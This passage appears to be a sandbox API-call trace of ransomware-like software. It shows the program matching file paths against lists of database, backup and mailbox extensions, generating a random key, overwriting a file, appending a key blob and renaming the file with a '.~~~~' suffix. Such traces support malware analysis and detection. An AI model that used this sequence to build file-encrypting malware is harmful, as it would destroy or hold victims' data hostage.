	[0138.017] lstrlenW (lpString=".DACPAC") returned 7
	[0138.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.017] lstrlenW (lpString=".VHD") returned 4
	[0138.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".VHD") returned 0x0
	[0138.017] lstrlenW (lpString=".DBV") returned 4
	[0138.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".DBV") returned 0x0
	[0138.017] lstrlenW (lpString=".dacpac") returned 7
	[0138.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".dacpac") returned 0x0
	[0138.017] lstrlenW (lpString=".sdf") returned 4
	[0138.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".sdf") returned 0x0
	[0138.017] lstrlenW (lpString=".accdb") returned 6
	[0138.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".accdb") returned 0x0
	[0138.017] lstrlenW (lpString=".DBX") returned 4
	[0138.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".DBX") returned 0x0
	[0138.017] lstrlenW (lpString=".MDT") returned 4
	[0138.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".MDT") returned 0x0
	[0138.017] lstrlenW (lpString=".SQB") returned 4
	[0138.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".SQB") returned 0x0
	[0138.017] lstrlenW (lpString=".vhd") returned 4
	[0138.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".vhd") returned 0x0
	[0138.017] lstrlenW (lpString=".bac") returned 4
	[0138.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".bac") returned 0x0
	[0138.017] lstrlenW (lpString=".mdf") returned 4
	[0138.017] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".mdf") returned 0x0
	[0138.017] lstrlenW (lpString=".BAK") returned 4
	[0138.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".BAK") returned 0x0
	[0138.018] lstrlenW (lpString=".BAC") returned 4
	[0138.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".BAC") returned 0x0
	[0138.018] lstrlenW (lpString=".dbs") returned 4
	[0138.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".dbs") returned 0x0
	[0138.018] lstrlenW (lpString=".vhdx") returned 5
	[0138.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".vhdx") returned 0x0
	[0138.018] lstrlenW (lpString=".NDF") returned 4
	[0138.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".NDF") returned 0x0
	[0138.018] lstrlenW (lpString=".dat") returned 4
	[0138.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".dat") returned 0x0
	[0138.018] lstrlenW (lpString=".DBS") returned 4
	[0138.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".DBS") returned 0x0
	[0138.018] lstrlenW (lpString=".CKP") returned 4
	[0138.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".CKP") returned 0x0
	[0138.018] lstrlenW (lpString=".edb") returned 4
	[0138.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".edb") returned 0x0
	[0138.018] lstrlenW (lpString=".PST") returned 4
	[0138.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".PST") returned 0x0
	[0138.018] lstrlenW (lpString=".dbf") returned 4
	[0138.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".dbf") returned 0x0
	[0138.018] lstrlenW (lpString=".SQL") returned 4
	[0138.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".SQL") returned 0x0
	[0138.018] lstrlenW (lpString=".pst") returned 4
	[0138.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".pst") returned 0x0
	[0138.018] lstrlenW (lpString=".dbv") returned 4
	[0138.018] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".dbv") returned 0x0
	[0138.018] lstrlenW (lpString=".SDF") returned 4
	[0138.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".SDF") returned 0x0
	[0138.019] lstrlenW (lpString=".dtxs") returned 5
	[0138.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".dtxs") returned 0x0
	[0138.019] lstrlenW (lpString=".db3") returned 4
	[0138.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".db3") returned 0x0
	[0138.019] lstrlenW (lpString=".OST") returned 4
	[0138.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".OST") returned 0x0
	[0138.019] lstrlenW (lpString=".dbx") returned 4
	[0138.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".dbx") returned 0x0
	[0138.019] lstrlenW (lpString=".DB3") returned 4
	[0138.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".DB3") returned 0x0
	[0138.019] lstrlenW (lpString=".DAT") returned 4
	[0138.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".DAT") returned 0x0
	[0138.019] lstrlenW (lpString=".VHDX") returned 5
	[0138.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".VHDX") returned 0x0
	[0138.019] lstrlenW (lpString=".ndf") returned 4
	[0138.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".ndf") returned 0x0
	[0138.019] lstrlenW (lpString=".DB") returned 3
	[0138.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".DB") returned 0x0
	[0138.019] lstrlenW (lpString=".sql") returned 4
	[0138.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".sql") returned 0x0
	[0138.019] lstrlenW (lpString=".MYD") returned 4
	[0138.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".MYD") returned 0x0
	[0138.019] lstrlenW (lpString=".DBT") returned 4
	[0138.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".DBT") returned 0x0
	[0138.019] lstrlenW (lpString=".ACCDB") returned 6
	[0138.019] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.019] lstrlenW (lpString=".fdb") returned 4
	[0138.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".fdb") returned 0x0
	[0138.020] lstrlenW (lpString=".bak") returned 4
	[0138.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".bak") returned 0x0
	[0138.020] lstrlenW (lpString=".myd") returned 4
	[0138.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".myd") returned 0x0
	[0138.020] lstrlenW (lpString=".DTXS") returned 5
	[0138.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".DTXS") returned 0x0
	[0138.020] lstrlenW (lpString=".ckp") returned 4
	[0138.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".ckp") returned 0x0
	[0138.020] lstrlenW (lpString=".dbt") returned 4
	[0138.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".dbt") returned 0x0
	[0138.020] lstrlenW (lpString=".db") returned 3
	[0138.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".db") returned 0x0
	[0138.020] lstrlenW (lpString=".TXT") returned 4
	[0138.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".TXT") returned 0x0
	[0138.020] lstrlenW (lpString=".MDF") returned 4
	[0138.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".MDF") returned 0x0
	[0138.020] lstrlenW (lpString=".bdb") returned 4
	[0138.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".bdb") returned 0x0
	[0138.020] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.020] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0138.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.021] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0138.022] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.022] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0138.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0138.022] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25801202278) returned 1
	[0138.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbbb6e670, dwHighDateTime=0x1d60e1e)) 
	[0138.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0138.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0138.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0138.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5000
	[0138.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5000 | out: hHeap=0x300000) returned 1
	[0138.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ced58
	[0138.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0138.023] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ced58 | out: hHeap=0x300000) returned 1
	[0138.023] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0138.023] GetLastError () returned 0x0
	[0138.023] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0138.023] GetLastError () returned 0x0
	[0138.152] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.152] WriteFile (in: hFile=0x108, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.153] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0138.153] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.153] WriteFile (in: hFile=0x108, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.153] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.153] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.153] CloseHandle (hObject=0x108) returned 1
	[0138.153] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ceff8
	[0138.154] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme07.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME07.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme07.css.~~~~")) returned 1
	[0138.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ceff8 | out: hHeap=0x300000) returned 1
	[0138.156] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0138.157] GetLastError () returned 0x0
	[0138.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".scr") returned 0x0
	[0138.157] lstrlenW (lpString=".cmd") returned 4
	[0138.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".cmd") returned 0x0
	[0138.157] lstrlenW (lpString=".dll") returned 4
	[0138.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".dll") returned 0x0
	[0138.157] lstrlenW (lpString=".bat") returned 4
	[0138.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".bat") returned 0x0
	[0138.157] lstrlenW (lpString=".cpl") returned 4
	[0138.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".cpl") returned 0x0
	[0138.157] lstrlenW (lpString=".sys") returned 4
	[0138.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".sys") returned 0x0
	[0138.157] lstrlenW (lpString=".msc") returned 4
	[0138.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".msc") returned 0x0
	[0138.157] lstrlenW (lpString=".com") returned 4
	[0138.157] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".com") returned 0x0
	[0138.158] lstrlenW (lpString=".lnk") returned 4
	[0138.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".lnk") returned 0x0
	[0138.158] lstrlenW (lpString=".msp") returned 4
	[0138.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".msp") returned 0x0
	[0138.158] lstrlenW (lpString=".pif") returned 4
	[0138.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".pif") returned 0x0
	[0138.158] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme12.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0138.160] lstrlenW (lpString=".sqb") returned 4
	[0138.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".sqb") returned 0x0
	[0138.160] lstrlenW (lpString=".ost") returned 4
	[0138.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".ost") returned 0x0
	[0138.160] lstrlenW (lpString=".txt") returned 4
	[0138.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".txt") returned 0x0
	[0138.160] lstrlenW (lpString=".mdt") returned 4
	[0138.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".mdt") returned 0x0
	[0138.160] lstrlenW (lpString=".BDB") returned 4
	[0138.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".BDB") returned 0x0
	[0138.160] lstrlenW (lpString=".eql") returned 4
	[0138.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".eql") returned 0x0
	[0138.160] lstrlenW (lpString=".DBF") returned 4
	[0138.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".DBF") returned 0x0
	[0138.160] lstrlenW (lpString=".EQL") returned 4
	[0138.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".EQL") returned 0x0
	[0138.160] lstrlenW (lpString=".FDB") returned 4
	[0138.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".FDB") returned 0x0
	[0138.161] lstrlenW (lpString=".EDB") returned 4
	[0138.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".EDB") returned 0x0
	[0138.161] lstrlenW (lpString=".DACPAC") returned 7
	[0138.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.161] lstrlenW (lpString=".VHD") returned 4
	[0138.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".VHD") returned 0x0
	[0138.161] lstrlenW (lpString=".DBV") returned 4
	[0138.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".DBV") returned 0x0
	[0138.161] lstrlenW (lpString=".dacpac") returned 7
	[0138.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".dacpac") returned 0x0
	[0138.161] lstrlenW (lpString=".sdf") returned 4
	[0138.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".sdf") returned 0x0
	[0138.161] lstrlenW (lpString=".accdb") returned 6
	[0138.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".accdb") returned 0x0
	[0138.161] lstrlenW (lpString=".DBX") returned 4
	[0138.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".DBX") returned 0x0
	[0138.161] lstrlenW (lpString=".MDT") returned 4
	[0138.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".MDT") returned 0x0
	[0138.161] lstrlenW (lpString=".SQB") returned 4
	[0138.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".SQB") returned 0x0
	[0138.161] lstrlenW (lpString=".vhd") returned 4
	[0138.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".vhd") returned 0x0
	[0138.161] lstrlenW (lpString=".bac") returned 4
	[0138.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".bac") returned 0x0
	[0138.161] lstrlenW (lpString=".mdf") returned 4
	[0138.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".mdf") returned 0x0
	[0138.161] lstrlenW (lpString=".BAK") returned 4
	[0138.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".BAK") returned 0x0
	[0138.162] lstrlenW (lpString=".BAC") returned 4
	[0138.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".BAC") returned 0x0
	[0138.162] lstrlenW (lpString=".dbs") returned 4
	[0138.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".dbs") returned 0x0
	[0138.162] lstrlenW (lpString=".vhdx") returned 5
	[0138.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".vhdx") returned 0x0
	[0138.162] lstrlenW (lpString=".NDF") returned 4
	[0138.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".NDF") returned 0x0
	[0138.162] lstrlenW (lpString=".dat") returned 4
	[0138.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".dat") returned 0x0
	[0138.162] lstrlenW (lpString=".DBS") returned 4
	[0138.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".DBS") returned 0x0
	[0138.162] lstrlenW (lpString=".CKP") returned 4
	[0138.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".CKP") returned 0x0
	[0138.162] lstrlenW (lpString=".edb") returned 4
	[0138.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".edb") returned 0x0
	[0138.162] lstrlenW (lpString=".PST") returned 4
	[0138.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME12.CSS", lpSrch=".PST") returned 0x0
	[0138.162] lstrlenW (lpString=".dbf") returned 4
